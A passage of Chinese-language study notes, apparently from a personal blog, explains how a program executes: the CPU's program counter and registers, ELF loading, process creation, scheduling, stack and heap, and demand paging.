    • 通过程序计数器(PC) 指向当前要执行的指令地址,执行后自动更新为下一条指令地址。
    • 通过寄存器暂存运算数据(如累加器、地址寄存器),加速指令执行(寄存器速度远快于内存)。
    • 执行指令时涉及的运算(如加减、逻辑判断)、内存访问(如读数据、写结果)、跳转(如函数调用)等操作,均由 CPU 完成。

运行过程

  1. 启动程序:用户通过操作系统(如调用系统的shell函数)触发程序运行请求。
  2. 加载到内存:操作系统解析可执行文件(elf文件格式),根据其元信息在内存中分配空间(代码段、数据段、栈等),将文件中的指令和数据复制到对应内存区域。
  3. 创建进程:操作系统为程序创建进程,初始化进程控制块(PCB),设置程序入口点(第一条指令的内存地址)。
  4. 调度执行:操作系统将进程放入调度队列,当分配到 CPU 时间片时,CPU 从程序入口点开始执行指令:
    • 从内存中读取指令到 CPU,解码后执行(如运算、读写内存、调用函数等)。
    • 执行过程中动态使用栈(函数调用)和堆(动态内存),操作系统负责维护内存映射和权限。
  5. 终止程序:程序执行完main函数(或调用exit)后,操作系统回收进程占用的内存、CPU 等资源,进程终止。

注意 :1.可执行文件是elf格式 启动阶段 操作系统为起分配 虚拟内存(连续)也就是在此时 堆和栈诞生(与程序的生命周期相同)其中堆需要可执行文件中具有申请堆操作 而 栈是与生俱来的。

2.程序启动的初期阶段(如创建进程、分配虚拟内存、设置堆栈)需要操作系统内核完成,因此代码运行在内核态

3.虚拟内存加载到物理内存的过程是动态且按需发生的执行到哪加载到哪 cpu 只能处理实际地址的内容

4.启动程序的过程本质是将静态的可执行文件加载到系统中,并创建对应的进程

听说hexo很好玩